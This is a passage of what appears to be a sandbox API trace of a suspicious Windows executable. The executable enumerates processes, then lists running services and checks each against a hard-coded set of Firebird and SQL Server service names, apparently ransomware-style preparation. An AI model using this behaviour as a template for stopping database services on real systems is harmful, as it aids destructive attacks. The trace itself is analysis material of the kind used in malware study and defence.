szExeFile="WmiPrvSE.exe")) returned 1 [0185.764] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0185.764] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0185.764] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0185.764] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0185.765] lstrlenW (lpString="cmd.exe") returned 7 [0185.765] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0185.765] lstrlenW (lpString="conhost.exe") returned 11 [0185.765] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0185.765] lstrlenW (lpString="mode.com") returned 8 [0185.766] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0185.766] lstrlenW (lpString="consent.exe") returned 11 [0185.766] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0185.767] CloseHandle (hObject=0x3f8) returned 1 [0185.767] Sleep (dwMilliseconds=0x1f4) [0186.638] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b300 [0186.638] EnumServicesStatusExW (in: hSCManager=0x447b300, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0186.638] GetLastError () returned 0xea [0186.638] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x456b180 [0186.639] EnumServicesStatusExW (in: hSCManager=0x447b300, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0186.693] CloseServiceHandle (hSCObject=0x447b300) returned 1 [0186.694] lstrlenW (lpString="Appinfo") returned 7 [0186.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0186.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0186.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0186.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0186.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0186.694] lstrlenW (lpString="AppXSvc") returned 7 [0186.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0186.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0186.694] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0186.694] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0186.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0186.694] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0186.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0186.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0186.694] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0186.694] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0186.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0186.694] lstrlenW (lpString="Audiosrv") returned 8 [0186.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0186.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0186.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0186.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0186.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0186.695] lstrlenW (lpString="BFE") returned 3 [0186.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0186.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0186.695] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0186.695] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0186.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0186.695] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0186.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0186.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0186.695] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0186.695] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0186.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0186.695] lstrlenW (lpString="CDPSvc") returned 6 [0186.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0186.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0186.695] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0186.695] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0186.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0186.695] lstrlenW (lpString="ClickToRunSvc") returned 13 [0186.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0186.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0186.695] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0186.695] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0186.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0186.695] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0186.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0186.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0186.695] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0186.695] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0186.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0186.695] lstrlenW (lpString="CryptSvc") returned 8 [0186.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0186.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0186.696] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0186.696] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0186.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0186.696] lstrlenW (lpString="DcomLaunch") returned 10 [0186.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0186.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0186.696] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0186.696] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0186.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0186.696] lstrlenW (lpString="DeviceAssociationService") returned 24 [0186.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0186.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0186.696] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0186.696] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0186.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0186.696] lstrlenW (lpString="Dhcp") returned 4 [0186.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0186.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0186.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0186.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0186.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0186.696] lstrlenW (lpString="Dnscache") returned 8 [0186.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0186.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0186.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0186.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0186.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0186.696] lstrlenW (lpString="DPS") returned 3 [0186.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0186.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0186.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0186.697] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0186.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0186.697] lstrlenW (lpString="DsmSvc") returned 6 [0186.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0186.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0186.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0186.697] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0186.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0186.697] lstrlenW (lpString="DusmSvc") returned 7 [0186.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0186.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0186.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0186.697] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0186.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0186.697] lstrlenW (lpString="EventLog") returned 8 [0186.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0186.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0186.697] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0186.697] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0186.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0186.697] lstrlenW (lpString="EventSystem") returned 11 [0186.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0186.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0186.697] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0186.697] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0186.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0186.697] lstrlenW (lpString="FontCache") returned 9 [0186.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0186.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0186.697] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0186.698] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0186.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0186.698] lstrlenW (lpString="gpsvc") returned 5 [0186.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0186.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0186.698] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0186.698] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0186.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0186.698] lstrlenW (lpString="iphlpsvc") returned 8 [0186.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0186.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0186.698] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0186.698] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0186.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0186.698] lstrlenW (lpString="KeyIso") returned 6 [0186.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0186.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0186.698] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0186.698] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0186.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0186.698] lstrlenW (lpString="LanmanServer") returned 12 [0186.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0186.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0186.698] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0186.698] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0186.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0186.698] lstrlenW (lpString="LanmanWorkstation") returned 17 [0186.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0186.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0186.698] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0186.698] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0186.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0186.699] lstrlenW (lpString="lfsvc") returned 5 [0186.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0186.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0186.699] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0186.699] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0186.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0186.699] lstrlenW (lpString="lmhosts") returned 7 [0186.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0186.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0186.699] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0186.699] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0186.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0186.699] lstrlenW (lpString="LSM") returned 3 [0186.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0186.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0186.699] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0186.699] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0186.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0186.699] lstrlenW (lpString="MpsSvc") returned 6 [0186.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0186.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0186.699] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0186.699] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0186.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0186.699] lstrlenW (lpString="NcbService") returned 10 [0186.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0186.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0186.699] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0186.699] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0186.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0186.699] lstrlenW (lpString="netprofm") returned 8 [0186.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0186.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0186.700] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0186.700] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0186.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0186.700] lstrlenW (lpString="NgcSvc") returned 6 [0186.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0186.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0186.700] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0186.700] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0186.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0186.700] lstrlenW (lpString="NlaSvc") returned 6 [0186.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0186.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0186.700] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0186.700] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0186.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0186.700] lstrlenW (lpString="nsi") returned 3 [0186.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0186.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0186.700] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0186.700] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0186.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0186.700] lstrlenW (lpString="PcaSvc") returned 6 [0186.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0186.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0186.700] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0186.700] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0186.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0186.701] lstrlenW (lpString="PlugPlay") returned 8 [0186.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0186.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0186.701] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0186.701] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0186.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0186.701] lstrlenW (lpString="Power") returned 5 [0186.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0186.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0186.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0186.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0186.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0186.701] lstrlenW (lpString="ProfSvc") returned 7 [0186.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0186.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0186.701] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0186.701] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0186.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0186.701] lstrlenW (lpString="RpcEptMapper") returned 12 [0186.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0186.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0186.701] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0186.701] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0186.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0186.701] lstrlenW (lpString="RpcSs") returned 5 [0186.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0186.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0186.701] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0186.701] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0186.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0186.701] lstrlenW (lpString="SamSs") returned 5 [0186.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0186.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0186.702] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0186.702] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0186.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0186.702] lstrlenW (lpString="Schedule") returned 8 [0186.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0186.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0186.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0186.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0186.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0186.702] lstrlenW (lpString="SecurityHealthService") returned 21 [0186.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0186.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0186.702] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0186.702] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0186.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0186.702] lstrlenW (lpString="SENS") returned 4 [0186.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0186.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0186.702] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0186.702] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0186.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0186.702] lstrlenW (lpString="ShellHWDetection") returned 16 [0186.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0186.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0186.702] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0186.702] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0186.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0186.702] lstrlenW (lpString="Spooler") returned 7 [0186.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0186.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0186.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0186.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0186.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0186.703] lstrlenW (lpString="StateRepository") returned 15 [0186.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0186.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0186.703] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0186.703] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0186.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0186.703] lstrlenW (lpString="SysMain") returned 7 [0186.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0186.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0186.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0186.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0186.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0186.703] lstrlenW (lpString="SystemEventsBroker") returned 18 [0186.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0186.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0186.703] lstrcmpiW 